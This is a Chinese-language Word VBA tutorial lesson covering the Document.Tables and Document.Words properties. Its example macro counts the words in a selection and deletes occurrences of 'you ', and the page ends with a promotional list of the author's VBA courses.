转载请注明来自看雪社区

分享成果,随喜正能量】不要怀着一颗欺瞒的心、侥幸的心、贪婪的心、怯懦的心、绝望的心觍着脸向佛讨要一个不可能的未来。佛很慈悲,但绝不会奖懒罚勤、扬恶惩善、媚富欺贫、好愚恶贤。佛佑勤劳的人,佛佑善良的人,佛佑智慧的人,佛佑积极向上的人。

《VBA之Word应用》,是我推出第八套教程,教程是专门讲解VBA在Word中的应用,围绕“面向对象编程”讲解,首先让大家认识Word中VBA的对象,以及对象的属性、方法,然后通过实例让大家感受到Word VBA 的妙处。本套教程共三册十六章,今日内容是第三章“文档集合Documents对象及文档Document对象”第6节:文档Document对象属性的简单应用

第六节 文档Document对象的属性(三)

大家好,我们继续讲解文档Document对象的属性,并就属性的一些常见应用给大家以操作上的讲解。对于Document对象的属性,我讲解的比较详细,希望大家能掌握的透彻些,这套教程的讲解是按照OOP面向对象编程的思路来讲解的,对象,属性,方法,事件是我们要重点理解的。

1 Document.Tables 属性

这个属性返回一个Table集合, 该集合代表指定文档中的所有表格。此为只读属性。

语法:expression.Tables

其中:expression 代表一个 Document对象

2 Document.Words 属性

这个属性返回一个Words集合,该集合代表文档中的所有单词。此为只读属性。

语法:expression.Words

其中:expression 代表一个 Document对象

  • Words 集合中包含的文档中的标点符号和段落标记。

3 利用Document.Words属性删除某单词

下面我们讲解一个实例,这个实例利用Document.Words属性来统计所选择区域的单词及删除某单词的方法。下面我们先看看当前文档的截图:

我们将首先选择上面的红色框选部分,然后再统计一下这部分区域的单词数量,最后我们将上述黄色单词you删除。为什么要是英文区域呢?因为单词(word)是英语的范畴。所以我们用英文进行测试。

我们先来看看代码:

Sub mynzF()

MsgBox "您共选择了" & Selection.Words.Count & "个单词!"

Set myRange = ActiveDocument.Range(Start:=Selection.Start, End:=Selection.End)

i = 0

For Each myWord In myRange.Words

If myWord.Text = "you " Then

myWord.Delete

i = i + 1

End If

Next

MsgBox "共删除了" & i & "次!"

End Sub

代码截图:

代码讲解:

1)MsgBox "您共选择了" & Selection.Words.Count & "个单词!" 这行代码统计所选择区域的单词个数。

2) Set myRange = ActiveDocument.Range(Start:=Selection.Start, End:=Selection.End) 这行代码将所选择区域赋值给变量myRange。

3) For Each myWord In myRange.Words 在所选择区域中的单词集合间建立遍历循环。

4) If myWord.Text = "you " Then 假如单词集合遍历的元素单词是"you ",大家要注意这里的写法"you "后面要有一个空格。

5) myWord.Delete 这行代码是将这个单词删除。

6) MsgBox "共删除了" & i & "次!" 这行代码提示给用户共删除了几次。

下面我们看看代码的运行效果,在运行代码前要首先将上述的英文语句进行选择,

选择的截图:

然后运行代码:

由上述代码的运行结果可知,我们分别完成了单词的统计及单词的删除操作。

今日内容回向:

1 文档对象的Tables,Words属性的意义是什么?

2 如何获得文档选择区域的单词数量及删除某单词?


本讲内容参考程序文件:Doc 003文档.docm

  • 我根据自己多年VBA实际利用经验,推出了八部VBA专门教程。第1套教程:VBA代码解决方案 ;第2套教程:VBA数据库解决方案;第3套教程:VBA数组与字典解决方案;第4套教程:VBA代码解决方案之视频(第一套的视频讲解);第5套教程:VBA中类的解读和利用;第6套教程:VBA信息获取与处理;第7套教程:VBA之EXCEL应用;第8套教程:VBA之Word应用(最新)。上述教程的学习顺序:

① 7→1→3→2→6→5或者7→4→3→2→6→5 ② 7→8

  • 第一套:VBA代码解决方案 是VBA中各个知识点的讲解,教程共147讲,覆盖绝大多数的VBA知识点,提供的程序文件更是一座不可多得的代码宝库,是初学及中级人员必备教程;目前这套教程提供的版本是修订第二版,程序文件通过32位和64位两种OFFICE系统测试。
  • 第二套:VBA数据库解决方案 数据库是数据处理的专业利器,教程中详细介绍了利用ADO连接ACCDB和EXCEL的方法和实例操作,适合中级人员的学习。目前这套教程提供的是修订第一版教程,程序文件通过32位和64位两种OFFICE系统测试。
  • 第三套:VBA数组与字典解决方案 数组和字典是VBA的精华,字典是VBA代码水平提高的有效手段,值得深入的学习,是初级及中级人员代码精进的手段。目前这套教程提供的版本是修订第一版,程序文件通过32位和64位两种OFFICE系统测试。
  • 第四套:VBA代码解决方案之视频 是专门面向初学者的视频讲解,可以快速入门,更快的掌握这门技能。这套教程是第一套教程(修订一版)的视频讲解,视频更易接受。
  • 第五套:VBA中类的解读和利用是一部高级教程,讲解类的虚无与肉身的度化,类的利用虽然较少,但仔细的学习可以促进自己VBA理论的提高。这套教程的领会主要是读者的领悟了,领悟一种佛学的哲理。目前这套教程提供的版本是修订第一版,程序文件通过32位和64位两种OFFICE系统测试。
  • 第六套教程:VBA信息获取与处理,是一部高级教程,涉及范围更广,实用性更强,面向中高级人员。教程共二十个专题,包括:跨应用程序信息获得、随机信息的利用、电子邮件的发送、VBA互联网数据抓取、VBA延时操作,剪切板应用、Split函数扩展、工作表信息与其他应用交互,FSO对象的利用、工作表及文件夹信息的获取、图形信息的获取以及定制工作表信息函数等等内容。程序文件通过32位和64位两种OFFICE系统测试。
  • 第七套教程:VBA之EXCEL应用 这是一部初级教程这部教程共三册,从从创建宏、对话框、工作簿和工作表对象、单元格对象等基础内容讲起,到循环结构、错误处理、字符串操作、日期和时间、事件、数组应用,函数过程等方面,一直讲解到控件和窗体对象的应用都是我们提高自己EXCEL水平的必须。
  • 第八套教程:VBA之WORD应用 是围绕“面向对象编程”展开的讲解,让大家充分认识Word中VBA的对象,以及对象的属性、方法及利用。教程共分三册,十六章,其中前十五章是各种对象属性、方法的讲解,每节都有专门的实例说明这些属性方法的具体应用,最后一章是结和具体应用场景的讲解,详细讲解了二十八个实际工作中有代表性的实例,紧扣word数据的批量处理,发挥VBA的长处。本套教程实例众多,大家可以拿来即用,或者修正后加以利用。由于这套教程是围绕“面向对象编程”来展开,建议大家先学《VBA之Excel应用》,对VBA中的对象、属性、方法、事件有一定认识后再来学习这套教程。